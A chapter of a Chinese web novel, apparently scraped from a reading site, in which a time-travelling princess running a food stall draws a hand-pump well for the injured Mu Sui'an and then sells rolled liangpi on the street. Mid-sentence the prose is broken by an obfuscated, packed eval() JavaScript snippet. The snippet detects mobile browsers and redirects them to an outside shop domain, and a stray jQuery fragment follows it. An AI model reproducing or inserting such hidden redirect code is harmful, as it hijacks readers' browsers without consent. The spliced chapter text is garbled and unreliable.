16. 卷凉皮
    穆遂安眼眉中蓄起笑意,用连他自己都没注意到的上扬语调,故意问道:“既然如此,那你家落魄时他为何没来帮你?”

    “我们俩只不过是一两句话的交情,拿这种小事麻烦人家这种大英雄,合适嘛?”盛时云口中的藕丝脆脆的,她吃饭十分斯文,几乎不出声音,现下更像一只白兔安静地啃着胡萝卜。

    说到交情,穆遂安想起她在长街罚跪的那日。真是只有一两句话的缘分,甚至还没有奚落她的谢明智说的多。

    他心境忽起波澜,莫名遗憾起自己那时为何没有早些过去,既能拦了谢明智,又也许能和她多说上两句。这种异样只存在了片刻,穆遂安薄唇抿成一线,不知道从哪冒出来的情绪,语气有点拧:“不过是个普通人,怎么就成英雄了。”

    “他不是一直跟胡人打仗吗,守卫一方安宁,自然是大义啊。”盛时云随口一说,她没察觉到穆遂安的神色,肚子饱了,就双肘撑在桌上,手托着脸,伶俐地弯起唇角,“既然身体还撑得住,你去把碗洗了,我现在去给土豆削皮,一会儿教你切土豆条。”

    现在的生意越做越有兴味,盛时云没事就想着如何把食摊开起来。从食摊到食肆,再到酒楼,最后宾客盈天下。她面上笑意更甚,干劲十足地搬起一盆土豆,边哼着小曲边削皮。

    那边穆遂安舀起水来,将锅碗道具冲洗好,再用干布擦干。哗啦的水声伴着姑娘低声哼唱的调调,应和一起,浪静风恬。

    一干起活来就又忘了时间。穆遂安刚削土豆条的时候,下手还有些不稳,但他可谓天赋异禀,半盆之后,所有的薯条都大小规整,丝毫不逊色于盛时云。

    盛时云将择洗好的豆牙晾在一旁,又开始给黄瓜擦丝,泡在水里保持新鲜。所有的菜都切好后,她又揉了一块面,往盆里舀了水,像洗衣服一般,把面团在水中轻轻揉搓,直到剩下一块筋膜一样的东西,这才大功告成。

    “这个是面筋。”她见穆遂安奇异地往这边看,解释道。手起刀落,将面筋切成丁,中间丝窝很大,正是穆遂安之前吃到的奇怪小方块。正因为面筋内部的空间很大,吸足了汤汁,更让辣酱的香味发挥彻底。

    盛时云把围裙晾在旁边,路过水缸时,瞧了一眼里面的水,忽然想起一件事:“你会做些工具奇巧之类的东西吗?”

    塞北军士在物资短缺时经常会手制兵器。穆遂安浅思片刻,点头道:“也许能,你要做什么?”

    外面全然黑了,只靠几盏油灯亮着。盛时云杏眸中划过惊喜,不管费眼,不知从哪掏出纸笔来,兴冲冲地画了几笔,竟然真的勾勒出一个压水井的轮廓。

    “这里,是铁的。这里有一个把手,里面加个塞子。”她分别用箭头标出来,结构十分清晰。

    盛时云曾经在农村采风的时候,经常用到压水井,早就摸清了这东西大概的原理。她之前经常在电脑上画一些可爱的小图案,给自己剪辑的视频添彩,因此下笔的线条格外熟稔。

    这个压水井,可谓是她从一开始就想要造的,已经在头脑中描摹过许多次,画起来十分得心应手。

    拿过图纸,穆遂安在灯盏底下,聚精会神地研究了一遍,唇角弯扬,毫不掩饰自己的喜出望外:“你是如何知道这种井的,结构真是巧妙。”

    盛时云把笔放下,直言不讳:“在老家见人用过。”

    穆遂安刚想把目光转回图纸上,头脑里忽然像被针尖戳了。他掀起眼睑,疑惑地看向盛时云,品到了一丝不对劲:“老家?”

    在旁人看来,盛时云的老家可以是任何一个地方。普通百姓一辈子也游历不了几个山泽大川,盛时云那些现代的见闻,一举推到过往身上,没人会去细究考察,好糊弄得很。

    可穆遂安不同,他只知道盛时云大周朝二殿下的身份。大周公主,一辈子理应住在京城或者和亲的夫家,偌大皇宫里都没有的压水井,她又是从哪个老家知晓的?

    盛时云正用笔杆挑着油灯上的火苗,隔着飘忽的灯光,敏锐地察觉到穆遂安的怔然,她反应极快,心态又拿得很好,撤出笔杆敲了敲脑壳,单侧眨眼,卖乖道:“喏,智慧的老家。”

    穆遂安这人就像个装着温水的玉罐子,长相养眼,还很容易被逗笑,他左侧唇角有个隐约的梨涡,一笑起来就会旋得格外好看。

    然而现在,他也确实随着盛时云的动作笑了出来,只是清淡得连一点梨涡的痕迹都没见到,绝对不是真心的。

    盛时云眨了眨眼,有点纳闷。想破脑筋也不会想到,穆遂安就是北郡侯,一个月前还在长街上和她聊过天送过伞,如今就又在青州碰上了。

    她自觉岔开话题,把笔杆放到桌上,伸手去捏他的小指:“怎么了?”

    穆遂安察觉到自己的失态,把手指轻轻攥起来,想掩过去。刚要开口说声没事,便见盛时云直起身子,为了确认什么似的,倾身将小手放在了他额头上。

    穆遂安被她突如其来的动作弄得有些不知所措。盛时云虽然经常做饭,但很会养护自己,擦手油必不可少,因此手心软软的。被这样一贴,他感觉自己像被羽毛飘然扫过,有些不适应地抿了唇,但没动,安静地抬眼看她。

    “你发烧了……刚刚早些睡就好了,怪我还和你聊些有的没的。难受吗?”相较于穆遂安的别扭,盛时云并没有多思多想,一本正经地抽手回来。她懊恼地微蹙着眉,将人拉起来往屋里推,“你先去躺一会儿,我给你烧点热水。”

    见她这样着忙,穆遂安倒觉得挺新鲜,心里杂念暂搁起来。

    他从小在沙场摸爬滚打,十四岁披挂上阵,刀剑无眼,伤口发炎化脓,一连发烧几日,带病杀敌都是常事,从没觉得有什么不妥之处。

    听到盛时云这样一问,穆遂安忽然觉得手心确实有些发凉,嗓子也钝钝的疼了些,他被推着往回走,一路夜色,青石板硌着鞋底,穆遂安闷声应了:“是有些难受。”

    “明日你就别去了。”盛时云把窄房的门敞开,盯着他躺下去,回身去把灶火重新生起来,她叹道,“瞧着你也挺精壮的,怎么就虚成这样呢……”

    躺在芦苇丛里的时候,她以为他连人气都没了,怎么能落到这么惨的境地。

    一个念头闪过,盛时云脑袋像是突然上了弦,她把锅盖扣好,靠着窄房的门框,琢磨了半天,把自己先前看过的电视剧剧情全都想到了:“你受伤是因为被人追杀吗?”

    她倏然转身,扶着门框杏眸圆睁,目光干干净净:“不会牵连到我吧?”

    本来因为方才一事,穆遂安戒心未消,将盛时云身份的所有可能性都想了一遍,就差在谢家探子和北胡奸细中间找个定论。结果盯着她的眼睛,那种被羽毛轻扫的感觉重新涌上心口——什么都不愿多想了。

    穆遂安挪开视线,声音发哑:“不会。”

    窄房里面没有窗口,只有从木门闪出的一小道缝隙中透出灯光,橙色的火苗抖动着,能看到盛时云在外面来来回回走着的影子。

    心神不定,小腿重新连接的地方疼得发紧。穆遂安困顿地靠在墙上,他瞧着地上投射的光,眸色漆黑,噙着的似懊恼似不解。情绪来得太快,饶是他也说不清道不明。

    第二日,任凭穆遂安如何保证自己已经没事了,盛时云依旧没容许他出门,把脏兮兮的福团扔到窄房门口,忍俊不禁:“没事干的话,就给福团洗个澡,昨天忙着干活没注意,它自己滚泥坑里了。”

    她到底自己拽着推车走了,底

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056572|148147||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下放薯条的桶旁又放了一盆昨天切好的菜丝。今日上街,不仅要卖狼牙土豆和冬瓜糖,还要多加一个卷凉皮。

    刚把推车摆到位置上,莫秀娘就来了。她手里拎着一沓做好的凉皮,搁到推车的案子上:“你看看,这种薄厚能行不?”

    “可以啊,不愧是凉皮大师,手就是巧。”凉皮泛着米色,盛时云洗过手把凉皮抻了抻,劲道光滑,确实是她需要的。

    “昨日你教完我,我回家又试了两张才整出来的。”莫秀娘眯着眼睛,语气夸张,“你可不知道我家里面人吃完了怎么夸的,我婆婆那么刁钻的人,一连说了好几次,叫我把你招到我家来吃饭。咦?你家帮工今天没来。”

    “可以啊,讨老太太开心呗。”盛时云把菜盆和辣酱都摆上来,朝着凉皮比划了一下,“他病了,我让他歇着点。这些多少钱?”

    “十二文。那就等过两天,穆公子也病好了,再找个日子一块吃。”莫秀娘钱也拿了,话也带到了,高高兴兴地回去自家位置上蒸发糕。

    盛时云先把铁板烧热,不急着放薯条。在案板左边新开了一方位置,铺上凉皮,把熬好的辣酱刷上去。辣酱是用两种辣椒粉炒的,一种提味一种上色,里面加上蒜蓉和白芝麻,色泽红亮,入口辣味不多,更多的是香,直叫人流连忘返。

    把菜丝、面筋、花生米全都摆上去,先封两边再卷中间。凉皮透亮得能看见里面的豆芽和黄瓜,绿的白的红的,一个个摞在案上,实在喜人。

    三仙街四通八达,往来的行人一直不少。早上就有很多熟客路过,常常乐意买份狼牙土豆做早饭吃。有云家的招牌,新吃食并不愁卖,莫秀娘前脚回去,后脚盛时云的推车旁就站了个人。

    盛时云认得他,是之前给她掰了块海菜干的干货店的周老板。周源瞧着四十出头,也是刚要往自家店里去,老远就看到盛时云跟莫秀娘扎在一起唠嗑,再往旁边一瞅,推车上面又多了点新鲜玩意。

    “盛小娘子又做了啥子好吃的,给我包一个。”他对盛时云的手艺绝对信任,还没问价,就已经从钱袋里往外掏铜板。

    “卷凉皮,五文钱一个。您稍等,我给您新卷一个。”

    盛时云卷得皮薄馅大,个个胀鼓鼓的,男人吃了都能七分饱。价格不贵,买一个还能尝到不同的菜,看着就觉得实惠。

    “再包三文钱的糖。你这的东西都不用张嘴问,必须好吃。”他不转眼珠地看着盛时云卷完,口水都要淌下来,接过来急忙咬了一大口,满足得整个人都飘飘然起来。能吃到这等美食,成仙他都得犹豫犹豫。

    “周老板可把我夸出花来了。九块吃得了吗,再过两天天儿热了就放不住了。”盛时云有个单独夹糖的夹子,见周源点头,她把糖递过去,“您拿好。”

    “我家人多,小孩也爱吃,老人也爱吃。”周源嚼着凉皮,嘴边还沾着辣酱,不拘小节地随手一擦,也不着急回去把店面先打开,站着闲唠道,“一说天儿热我可想起来了,再几天就端午了,你家不出点啥吃的?”

    “粽子呗。周老板要能给我点海蛎干,我包几个肉粽,让咱们三仙街的都来吃。”盛时云套上围裙,拿湿布把推车擦了半天,斜睨他一眼打趣道。

    “那咋不行呢,海蛎干才几个铜板。”周源好说话得很,卷凉皮吃得他美滋滋的,呵呵笑着,“你得早作准备,今年端午也挺热闹。咱们青州地方小,划不开龙舟,但是有游船,人一准少不了。”

    “我走了,你赶紧寻思寻思啊,盛小娘子。要能再做点新奇的,我海蛎干随你拿。”

    盛时云“嗯”了一声,悠悠把袖子挽起来,脑子里的想法渐渐成了型。

    过节嘛,要做就做点好看又好吃的东西。